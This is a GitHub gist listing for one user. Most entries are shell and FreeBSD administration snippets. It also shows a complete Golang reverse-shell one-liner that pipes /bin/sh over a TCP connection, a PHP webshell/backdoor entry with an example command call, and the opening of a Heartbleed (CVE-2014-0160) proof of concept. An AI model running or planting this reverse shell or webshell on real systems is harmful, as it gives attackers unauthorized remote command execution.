Skip to content

Instantly share code, notes, and snippets.

takeshix takeshixx

Block or report user

Report or block takeshixx

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
takeshixx / gist:7466377
Last active Dec 28, 2015
$shell (zsh,bash,etc.) search functions
View gist:7466377
# search all with wildcard
function saw(){
find / -regextype posix-extended -iregex ".*\/[^\/]*$@.*" -exec ls -lad --color {} \; 2>/dev/null
# search all with exact match
function sa(){
find / -regextype posix-extended -iregex ".*\/$@" -exec ls -lad --color {} \; 2>/dev/null
# search local with wildcard
function slw(){
takeshixx /
Created Nov 15, 2013
xrandr wrapper script; switch between single/extended/cloned view (e.g. configure external display/projector)
# xrandr wrapper; switch between single/extended/cloned desktop;
CONFIGURED_DEVICES=($(xrandr|egrep -o '[[:alnum:]]+ [dis]{0,3}connected [0-9]{3,}x[0-9]{3,}'|awk '{print $1}'))
CONNECTED_DEVICES=($(xrandr|grep ' connected '|awk '{print $1}'))
RES_PRIMARY=$(xrandr|grep ${PRIMARY} -A1|tail -n1|egrep -o '[0-9]{3,}x[0-9]{3,}')
if [ ${#CONFIGURED_DEVICES[*]} -eq 1 ]; then
[ ${#CONNECTED_DEVICES[*]} -lt 2 ] && { print 'only one display conencted';exit; }
takeshixx / gist:7486990
Last active Dec 28, 2015
Check for port updates in FreeBSD jails
View gist:7486990
for jail in $(jails);do print $jail;jexec $(jid $jail) portmaster -L --index-only|egrep '(ew|ort) version|total install';print;done
takeshixx /
Last active Mar 22, 2017
Crontab script for FreeBSD Jails (update seperate ports tree, run portaudit, check for port updates)
SECTION=' * * * * * * '
portsnap -p $JAIL_PORTS fetch extract &>/dev/null || echo "Updating ports tree failed!"
takeshixx / gist:7683667
Last active Dec 29, 2015
Update FreeBSD ports inside jails.
View gist:7683667
for jail in $(jails);do jexec $(jid $jail) portmaster -ay;done
takeshixx / gist:8493530
Created Jan 18, 2014
Set proxy in a shell.
View gist:8493530
function proxy () {
PROXY_ENV=(http_proxy https_proxy ftp_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY)
if [ $1 == on ]; then
for i in $PROXY_ENV; do
export $i=$PROXY
echo "proxy set"
elif [ $1 == off ]; then
takeshixx /
Created Jan 30, 2014
Small leakdb script for a $SHELL alias
#!/usr/bin/env python2
import sys,requests
DEBUG = False
lines ='\n')
for h in lines:
if not h: continue
r = requests.get('{}'.format(h)).json()
takeshixx / shell.go
Last active Oct 30, 2018
Golang reverse shell
View shell.go
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
takeshixx / shell.php
Created Apr 5, 2014
PHP webshell/backdoor
View shell.php
// Call: http://localhost/shell.php?f=system&c=id
takeshixx /
Last active Jul 20, 2019
OpenSSL heartbeat PoC with STARTTLS support.
#!/usr/bin/env python2
Author: takeshix <>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
import sys,struct,socket
from argparse import ArgumentParser
You can’t perform that action at this time.